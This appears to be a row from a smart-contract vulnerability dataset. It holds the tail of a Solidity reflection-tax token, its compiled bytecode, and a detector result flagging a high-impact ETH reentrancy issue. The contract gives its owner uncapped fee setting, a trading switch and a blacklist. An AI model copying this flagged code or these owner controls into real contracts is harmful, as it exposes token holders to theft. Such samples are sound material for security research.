return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600881526020017f526173656e67616e000000000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600881526020017f526173656e67616e000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b60008060006006549050600066038d7ea4c6800090506128bf66038d7ea4c6800060065461259390919063ffffffff16565b8210156128dc5760065466038d7ea4c680009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7956bb9c2d878438d7b7924a49b5893edea1b17277593cc5724ce2738a6d5dc64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,196 |
0x00cebccaa4b4ee5010ac3118c2154836b009925a
